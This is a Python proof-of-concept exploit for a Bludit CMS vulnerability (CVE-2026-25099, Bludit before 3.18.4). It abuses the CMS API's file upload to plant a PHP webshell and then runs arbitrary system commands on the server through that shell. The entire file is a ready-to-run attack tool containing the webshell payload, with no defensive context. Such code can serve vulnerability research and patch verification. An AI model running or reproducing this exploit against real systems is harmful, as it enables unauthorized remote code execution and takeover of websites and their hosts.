#!/usr/bin/env python3
"""
CVE-2026-25099 — Bludit CMS API Unrestricted File Upload to RCE
Affected: Bludit < 3.18.4
Fixed: Bludit 3.18.4
"""
import argparse
import requests
import sys
import random
import string
def get_page_key(base_url, token):
"""Get a valid page key to upload files to."""
r = requests.get(f"{base_url}/api/pages", params={"token": token})
if r.status_code != 200:
print(f"[-] Failed to list pages: HTTP {r.status_code}")
return None
data = r.json()
if data.get("data") and len(data["data"]) > 0:
return data["data"][0]["key"]
return None
def upload_shell(base_url, token, page_key):
"""Upload a PHP webshell via the API — no extension validation."""
shell_name = "".join(random.choices(string.ascii_lowercase, k=8)) + ".php"
shell_content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>'
r = requests.post(
f"{base_url}/api/files/{page_key}",
data={"token": token},
files={"file": (shell_name, shell_content, "application/x-php")}
)
if r.status_code == 200 and r.json().get("status") == "0":
shell_url = f"{base_url}/bl-content/uploads/pages/{page_key}/{shell_name}"
return shell_url
return None
def execute(shell_url, cmd):
r = requests.get(shell_url, params={"cmd": cmd})
return r.text.strip() if r.status_code == 200 else None
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True)
parser.add_argument("-t", "--token", required=True)
parser.add_argument("-c", "--command", default="id")
args = parser.parse_args()
page_key = get_page_key(args.url, args.token)
if not page_key:
sys.exit("[-] No pages found")
print(f"[+] Page key: {page_key}")
shell_url = upload_shell(args.url, args.token, page_key)
if not shell_url:
sys.exit("[-] Upload failed")
print(f"[+] Shell: {shell_url}")
output = execute(shell_url, args.command)
print(f"[+] Output: {output}")